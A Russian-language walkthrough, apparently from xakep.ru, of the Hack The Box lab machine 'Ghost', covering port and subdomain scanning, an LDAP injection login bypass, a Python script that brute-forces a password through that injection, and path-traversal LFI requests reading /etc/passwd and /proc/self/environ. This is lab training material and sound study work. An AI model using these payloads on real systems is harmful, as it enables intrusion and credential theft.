Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этот раз мы пройдем путь от LDAP Injection и LFI до Command Injection в веб‑приложении. Захватив Linux-машину в домене, получим пользовательский тикет Kerberos и проведем DNS Spoofing. После получения еще одной доменной учетки скомпрометируем учетную запись службы ADFS и с помощью техники Golden SAML сделаем токен для доступа к сайту от имени админа.
Через связанные серверы Microsoft SQL получим сессию от имени службы, а затем поднимем привилегии на контроллере дочернего домена. Через Inter-realm golden ticket скомпрометируем контроллер домена всего леса.
Наша цель — получение прав суперпользователя на машине Ghost с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.24 ghost.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел 19 открытых портов:
Сертификат веб‑сервиса на порте 8443 раскрывает новый поддомен, который добавим в файл /etc/hosts
.
10.10.11.24 ghost.htb core.ghost.htb
Главная страница сайта core.ghost.htb
Если перейти к логину через ADFS, получим редирект на новый поддомен.
Редирект на новый адрес
Добавляем новый поддомен в /etc/hosts
.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb
Главная страница federation.ghost.htb
На порте 8008 нас встретит какой‑то блог.
Главная страница ghost.htb:8008
Так как уже было найдено несколько поддоменов, методом перебора попробуем найти еще. Для сканирования поддоменов можно использовать ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists); -t
— количество потоков; -u
— URL; -H
— HTTP-заголовок; -fs
— фильтровать страницы по размеру. Место перебора помечается словом FUZZ.
Задаем все параметры и запускаем:
ffuf -u http://ghost.htb:8008 -H 'Host: FUZZ.ghost.htb:8008' -w dns-lists.txt -t 128 -fs 7676
Результат сканирования поддоменов
Находим еще два домена, которые добавляем в /etc/hosts
.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb gitea.ghost.htb intranet.ghost.htb
На первом нас встречает Gitea, а на втором — страница авторизации.
Пользователи Gitea
Страница авторизации Intranet Login
Если просмотреть запрос на логин через Burp History, названия параметров дадут понять, что используется LDAP-аутентификация.
Запрос к странице /login
Первым делом проверим инъекцию LDAP, для чего вместо логина и пароля передадим символ *
, который будет воспринят как «любое количество любых символов». При сравнении с первыми же учетными данными из базы на стороне сервера аутентификация будет пройдена.
Запрос на сервер в Burp Repeater
Повторим вход через браузер и просмотрим, что есть интересного на сайте.
Главная страница сайта
На странице Users
получаем список всех пользователей.
Страница Users
На странице Forum
находим интересную информацию. У пользователя недоступен сервис bitbucket.ghost.htb
, так как для него отсутствует запись DNS. Вернемся к этому, как только получим возможность создавать записи на DNS-сервере.
Страница Forum
Так как на сайте есть LDAP-инъекция, мы можем попытаться посимвольно подобрать пароли пользователей. Для первого символа будем подбирать варианты a*, b*, c* и так далее. Успешный логон означает верно подобранный пароль. Автоматизировать подбор можно следующим скриптом, а подбирать будем пароль для учетной записи gitea_temp_principal
.
import stringimport requestsurl = 'http://intranet.ghost.htb:8008/login'headers = {'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940'}username = "gitea_temp_principal"password = ""while True: for char in string.ascii_lowercase + string.digits: files = { '1_ldap-username': (None, username), '1_ldap-secret': (None, f'{password}{char}*'), '0': (None, '[{},"$K1"]') } res = requests.post(url, headers=headers, files=files) if res.status_code == 303: password += char print(password) break else: breakprint()print(f"Creds => {username}:{password}")
Подбор пароля пользователя
Пароль успешно подобран, с полученными учетными данными залогинимся в Gitea.
Главная страница Gitea
Просмотрим проекты, начиная с репозитория blog
. В README написано про функцию сканирования, которая находится в стадии разработки, поэтому доступна только с ключом DEV_INTRANET_KEY
, который хранится в переменной среды. Для доступа к API блога нужно использовать токен a5af628828958c976a3b6cc81a
.
README проекта blog
Просмотрим исходный код posts-public.js
. Там интересен эндпоинт posts
, который в каталоге /var/lib/ghost/extra/
читает файл, переданный в параметре extra
. При этом никакой фильтрации названия файла нет, так что тут просматривается потенциальная уязвимость LFI.
Содержимое файла posts-public.js
Информацию об API удалось найти в официальной справке CMS Ghost.
Справка Developer docs
Проверим, обрабатывается ли URL http://ghost.htb:8008/ghost/api/content/
на сервере.
Тестирование API
Теперь переберем эндпоинты с помощью сканера feroxbuster.
При запуске укажем следующие параметры:
-u
— URL; -w
— словарь (я использую словари из набора SecLists); -d
— глубина сканирования; -t
— количество потоков. feroxbuster -u http://ghost.htb:8008/ghost/api/content/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат перебора API
В списке есть нужный нам posts
. В запросе к этому API передаем токен, а также путь к файлу /etc/passwd
с обходом каталогов.
http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../etc/passwd
Ответ сервера
В ответе сервера получаем содержимое запрошенного файла, а значит, уязвимость LFI присутствует. Получим переменные окружения, среди которых должен быть и DEV_INTRANET_KEY
.
http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../proc/self/environ
Переменные окружения
Перейдем ко второму сервису.
В исходном коде сервиса сразу найдем все места, где используется ключ доступа. Ключ нужно передавать в соответствующем заголовке.
Исходный код приложения
Источник: xakep.ru